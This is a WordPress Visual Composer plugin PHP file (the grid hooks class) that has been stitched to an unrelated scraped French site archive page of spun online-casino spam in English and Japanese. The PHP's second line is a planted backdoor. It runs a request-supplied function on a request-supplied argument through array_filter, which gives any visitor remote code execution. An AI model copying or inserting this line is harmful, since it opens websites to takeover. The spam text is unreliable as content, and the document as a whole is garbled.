?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;};
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
/**
* Class Vc_Hooks_Vc_Grid
* @since 4.4
*/
class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface {
protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php
/**
* Initializing hooks for grid element,
* Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id)
* And add action to hook request for grid data, to output it.
* @since 4.4
*/
public function load() {
// Hook for set post settings meta with shortcodes data
/**
* @since 4.4.3
*/
add_filter( 'vc_hooks_vc_post_settings', array(
&$this,
'gridSavePostSettingsId',
), 10, 3 );
/**
* Used to output shortcode data for ajax request. called on any page request.
*/
add_action( 'wp_ajax_vc_get_vc_grid_data', array(
&$this,
'getGridDataForAjax',
) );
add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array(
&$this,
'getGridDataForAjax',
) );
}
/**
* @since 4.4
* @deprecated and should not be used and will be removed in future! since 4.4.3
* @return string
*/
private function getShortcodeRegexForHash() {
// _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' );
$tagnames = apply_filters( 'vc_grid_shortcodes_tags', array(
'vc_basic_grid',
'vc_masonry_grid',
'vc_media_grid',
'vc_masonry_media_grid',
) ); // return only grid shortcodes
$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );
// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
// Also, see shortcode_unautop() and shortcode.js.
return '\\[' // Opening bracket
. '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
. "($tagregexp)" // 2: Shortcode name
. '(?![\\w-])' // Not followed by word character or hyphen
. '(' // 3: Unroll the loop: Inside the opening shortcode tag
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ...
. '\\]' // ... and closing bracket
. '|' . '\\]' // Closing bracket
. '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
. '[^\\[]*+' // Not an opening bracket
. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
. '[^\\[]*+' // Not an opening bracket
. ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag
. ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
}
/**
* @since 4.4.3
* @return string
*/
private function getShortcodeRegexForId() {
return '\\[' // Opening bracket
. '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
. '([\\w>]+)' // 2: Shortcode name
. '(?![\\w-])' // Not followed by word character or hyphen
. '(' // 3: Unroll the loop: Inside the opening shortcode tag
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')*?'
. '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')+' . ')'
. ')' . '(?:' . '(\\/)' // 5: Self closing tag ...
. '\\]' // ... and closing bracket
. '|' . '\\]' // Closing bracket
. '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
. '[^\\[]*+' // Not an opening bracket
. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
. '[^\\[]*+' // Not an opening bracket
. ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag
. ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]]
}
/**
* Set page meta box values with vc_adv_pager shortcodes data
* @since 4.4
* @deprecated 4.4.3
*
* @param array $settings
* @param $post_id
* @param $post
*
* @return array - shortcode settings to save.
*/
public function gridSavePostSettings( array $settings, $post_id, $post ) {
// _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' );
$pattern = $this->getShortcodeRegexForHash();
preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
$settings['vc_grid'] = array();
if ( is_array( $found ) && ! empty( $found[0] ) ) {
$to_save = array();
if ( isset( $found[3] ) && is_array( $found[3] ) ) {
foreach ( $found[3] as $key => $shortcode_atts ) {
if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) {
continue;
}
$atts = shortcode_parse_atts( $shortcode_atts );
$data = array(
'tag' => $found[2][ $key ],
'atts' => $atts,
'content' => $found[5][ $key ],
);
$hash = sha1( serialize( $data ) );
$to_save[ $hash ] = $data;
}
}
if ( ! empty( $to_save ) ) {
$settings['vc_grid'] = array( 'shortcodes' => $to_save );
}
}
return $settings;
}
/**
* @since 4.4.3
*
* @param array $settings
* @param $post_id
* @param $post
*
* @return array
*/
public function gridSavePostSettingsId( array $settings, $post_id, $post ) {
$pattern = $this->getShortcodeRegexForId();
preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
$settings['vc_grid_id'] = array();
if ( is_array( $found ) && ! empty( $found[0] ) ) {
$to_save = array();
if ( isset( $found[1] ) && is_array( $found[1] ) ) {
foreach ( $found[1] as $key => $parse_able ) {
if ( empty( $parse_able ) || '[' !== $parse_able ) {
$id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/';
$id_value = $found[4][ $key ];
preg_match( $id_pattern, $id_value, $id_matches );
if ( ! empty( $id_matches ) ) {
$id_to_save = $id_matches[1];
// why we need to check if shortcode is parse able?
// 1: if it is escaped it must not be displayed (parsed)
// 2: so if 1 is true it must not be saved in database meta
$shortcode_tag = $found[2][ $key ];
$shortcode_atts_string = $found[3][ $key ];
/** @var $atts array */
$atts = shortcode_parse_atts( $shortcode_atts_string );
$content = $found[6][ $key ];
$data = array(
'tag' => $shortcode_tag,
'atts' => $atts,
'content' => $content,
);
$to_save[ $id_to_save ] = $data;
}
}
}
}
if ( ! empty( $to_save ) ) {
$settings['vc_grid_id'] = array( 'shortcodes' => $to_save );
}
}
return $settings;
}
/**
* @since 4.4
*
* @output/@return string - grid data for ajax request.
*/
public function getGridDataForAjax() {
$tag = vc_request_param( 'tag' );
$allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag );
if ( $allowed ) {
$shortcode_fishbone = visual_composer()->getShortCode( $tag );
if ( is_object( $shortcode_fishbone ) ) {
/** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */
$vc_grid = $shortcode_fishbone->shortcodeClass();
if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) {
echo $vc_grid->renderAjax( vc_request_param( 'data' ) );
die();
}
}
}
}
}
/**
* @since 4.4
* @var Vc_Hooks_Vc_Grid $hook
*/
$hook = new Vc_Hooks_Vc_Grid();
// when visual composer initialized let's trigger Vc_Grid hooks.
add_action( 'vc_after_init', array(
$hook,
'load',
) );
if ( 'vc_edit_form' === vc_post_param( 'action' ) ) {
VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' );
add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
}
Non classé Archives - Page 702 sur 3650 - Groupe-SLG
26 août 2024
Blogs Pragmatic Enjoy Video slot Analysis (Zero Free Games) Wazdan Casinos Merge 2 or 3 Keep & Spin bonuses you to match one another many […]
Lire la suite
26 août 2024
Content Ma Avis Spintropolis Casino Dans Récapitulatif Films and Classic Slots Hot Prime Offers Dans une multitude amusement avec baccara, votre objectif continue d’offrir main […]
Lire la suite
26 août 2024
Blogs Best Gambling enterprises That provide Online game: Together, so it combination brings a position game which is pure and simple fun. Lobstermania the most […]
Lire la suite
26 août 2024
Posts Greatest Gambling establishment Software one to Shell out Real cash [Jul 2024] Inquire local casino no deposit bonus codes at no cost spins 2024 […]
Lire la suite
26 août 2024
Content Can there be a cellular gambling establishment inside the Canada without put added bonus? Delight make sure to understand and you can terms and […]
Lire la suite
26 août 2024
投稿 BetMGMカジノ – 最高のボーナスシステム ♠ 無料の10回の入金不要ボーナスから勝利金を引き出す必要がありますか? 最初から、プレイヤーは活気のあるボーナス オファーに取り組まされ、ギャンブルの感覚を豊かにし、大きな勝利を収める可能性のある新しい段階を設定します。暗号カジノは、プレイヤーが入金、引き出し、匿名でのギャンブルを行うことができるため、非常に人気があります。また、支払いはBTC、ETH、USDTなどのコインを使用して正確かつ安全に行われます。2024年のプロの暗号カジノはCloudBetです。これは、多くの素晴らしいiGaming機能を提供するからです。これらは、高レベルのセキュリティから高品質のゲーム、広告、カスタマーサービスまで多岐にわたります。さらに重要なオプションを見つけるには、当社のショートリストを確認してください。 BetMGMカジノ – 最高のボーナスシステム すべてのオンラインカジノがBTCを受け入れていますが、私はさまざまな暗号通貨と従来の支払い方法を受け入れるようにウェブサイトに呼びかけました。さらに、要件を満たすために最新の引き出し率を調べました。どのタイプにサインアップするかについては、各オンラインカジノリアルマネーウェブサイトで提供されている最新のボーナスを確認してください。実際、ウェブサイトは大きくて魅力的なウェルカムボーナスを提供しており、それがあなたにアカウントを作成して入金する動機を与えています。 GamStopオプションのない最高のモバイル支払いカジノ – 2024年7月 カジノゲームは、カジノにプラス(ハウスエッジと呼ばれる)を与えるように設計されており、カジノが最終的に成功することを意味します。賞金はまだ獲得できますが、プロから何年も離れて時間を過ごすと、新しいカジノが機能するようになります。上記のリストにあるタブのどれでも、「おすすめ」、「最近オープン」、「最高のシェルターインデックス」など、利用可能な複数のタイプから1つを選択できます。これらはリストされているカジノの順序を変えますが、それらは依然として詳細です。最高のオンラインカジノサイトを見つけたい場合は、「おすすめ」オプションを選択してください。 ♠ 無料の10回の入金不要ボーナスから勝利金を引き出す必要がありますか? チーフジャックカジノの入金不要ボーナスマネーは、新しいカジノにサインアップした後、9回目の入金後に提供されます。 https://mrbetjapan.com/mr-bet-fat-santa/ コミックプレイカジノのプレーヤーは、選択したゲームで使用できる毎日入金不要の100%フリースピンルールを獲得します。 入金不要オファーは業界で最高のものの1つであり、非常に人気があります。私たちはこのような悪いプロモーションはできるだけ避けるようにしていますが、念のため細かい印刷物も必ず確認してください。 新しいカジノでは、フリースピンを獲得できるゲームの種類を常に制限していますが、スピンごとに、新しい賭け条件の完了に100%が通常影響します。 ハイライトされたオンラインカジノから請求できる入金不要ボーナスがいくつかあります。 ただし、新しいプレーヤーに最も頻繁に提供される入金不要ボーナスの2種類は、ボーナスクレジットとフリースピンです。 […]
Lire la suite
26 août 2024
ブログ オフライン賭けを行うための手数料: book of dead ゲーム これらのヒントを採用すると、資金を管理しながら、より多くの利益を得る可能性が高まります。GamStopに登録されていないオンラインカジノは、データを保護し、セキュリティを確保します。SSL暗号化プロトコルとより安全なホストがあります。規則に従って、地元のカジノのライセンスを取得し、アプリケーションは公式で、常に確認されています。 オフライン賭けを行うための手数料: book of dead ゲーム さらに、このサイトはランダム性を持つようにRNGテストを行っており、新しいゲームが公平であることを確認しています。 氏名、住所、生年月日、電話番号など、必要な情報をすべて入力してアカウントの作成に進みます。 チャールズカジノはGamStopに登録されていない最新のカジノの1つですが、適切に運営されているウェブサイトのすべての特徴を備えています。
Lire la suite
26 août 2024
Posts Slot machine game (Gambling establishment identity) The growth from cellular betting will continue to take over the internet playing land, having the brand new […]
Lire la suite
26 août 2024
Articles BC.Game: better three hundred% extra to have $20 In this post, our very own advantages from the Gamblenator have indexed a knowledgeable $10 deposit […]
Lire la suite